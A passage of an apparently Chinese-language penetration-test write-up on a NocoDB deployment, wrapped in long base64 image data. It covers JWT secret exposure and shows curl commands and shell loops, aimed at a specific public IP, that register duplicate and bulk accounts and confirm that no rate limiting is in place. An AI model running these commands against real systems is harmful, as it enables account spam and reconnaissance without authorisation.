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) + +是 HS256(HMAC-SHA256)。如果管理员没有设置 NC\_AUTH\_JWT\_SECRET,NocoDB 会在启动时自动生成一个 secret 存入配置文件,这个 secret 在你的 Docker volume 里。问题在于——如果攻击者能读取到这个配置文件,就能用自己的 secret 签发任意身份的 JWT。 + + +### 1.3 重复注册验证 + + +跑完了注册,还想确认一件事——同一个邮箱重复注册会怎样?如果报错信息暴露了太多细节,可能会帮助攻击者做邮箱枚举。 + + +``` +$ curl -s -X POST http://139.199.68.168:8080/api/v1/auth/user/signup \ + -H "Content-Type: application/json" \ + -d '{"email":"attacker@evil.com","password":"Attack123!","first_name":"Evil","last_name":"Hacker"}' +``` + +{"message":"User already exist","error":"ERR\_BAD\_REQUEST"} + +返回 ERR\_BAD\_REQUEST,没有暴露额外的信息。这个处理是合理的——只告诉你"用户已存在",不告诉你"用户已存在且状态是 active/pending/banned"。避免了邮箱枚举攻击。 + +但话说回来,signup 端点本身是开放的,攻击者也不需要枚举邮箱——直接注册一个新邮箱就行了。 + +不过重复注册给出了一个有意思的信息:如果返回 ERR\_BAD\_REQUEST,说明邮箱已存在。攻击者可以拿这个接口验证某个邮箱是否已经注册了账号。虽然不能确定用户的状态(active/banned),但对于侦察来说,"这个邮箱有人用了"本身就是有价值的信息。 + + +### 1.4 批量注册验证 + + +能否批量注册?试一下: + + +``` +$ for i in $(seq 1 5); do + curl -s -X POST http://139.199.68.168:8080/api/v1/auth/user/signup \ + -H "Content-Type: application/json" \ + -d "{\"email\":\"spam${i}@test.com\",\"password\":\"Spam1234!\",\"first_name\":\"Spam\",\"last_name\":\"${i}\"}" + echo "" +done +``` + +输出: + + +``` +{"token":"eyJ..."} +{"token":"eyJ..."} +{"token":"eyJ..."} +{"token":"eyJ..."} +{"token":"eyJ..."} +``` + +5 次全部返回 200,全返回了 JWT。没有限制单 IP 注册速率,没有要求邮箱验证,没有增量验证码。 + +我又测了连续发 20 个请求会怎样: + + +``` +$ for i in $(seq 1 20); do + curl -s -o /dev/null -w "%{http_code} " \ + -X POST http://139.199.68.168:8080/api/v1/auth/user/signup \ + -H "Content-Type: application/json" \ + -d "{\"email\":\"bulk${i}@test.com\",\"password\":\"Bulk1234!\",\"first_name\":\"Bulk\",\"last_name\":\"${i}\"}" +done +``` + +输出: + +200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 + +20 次全部 200。PublicApiLimiterGuard + + +![](data:image/png;base64,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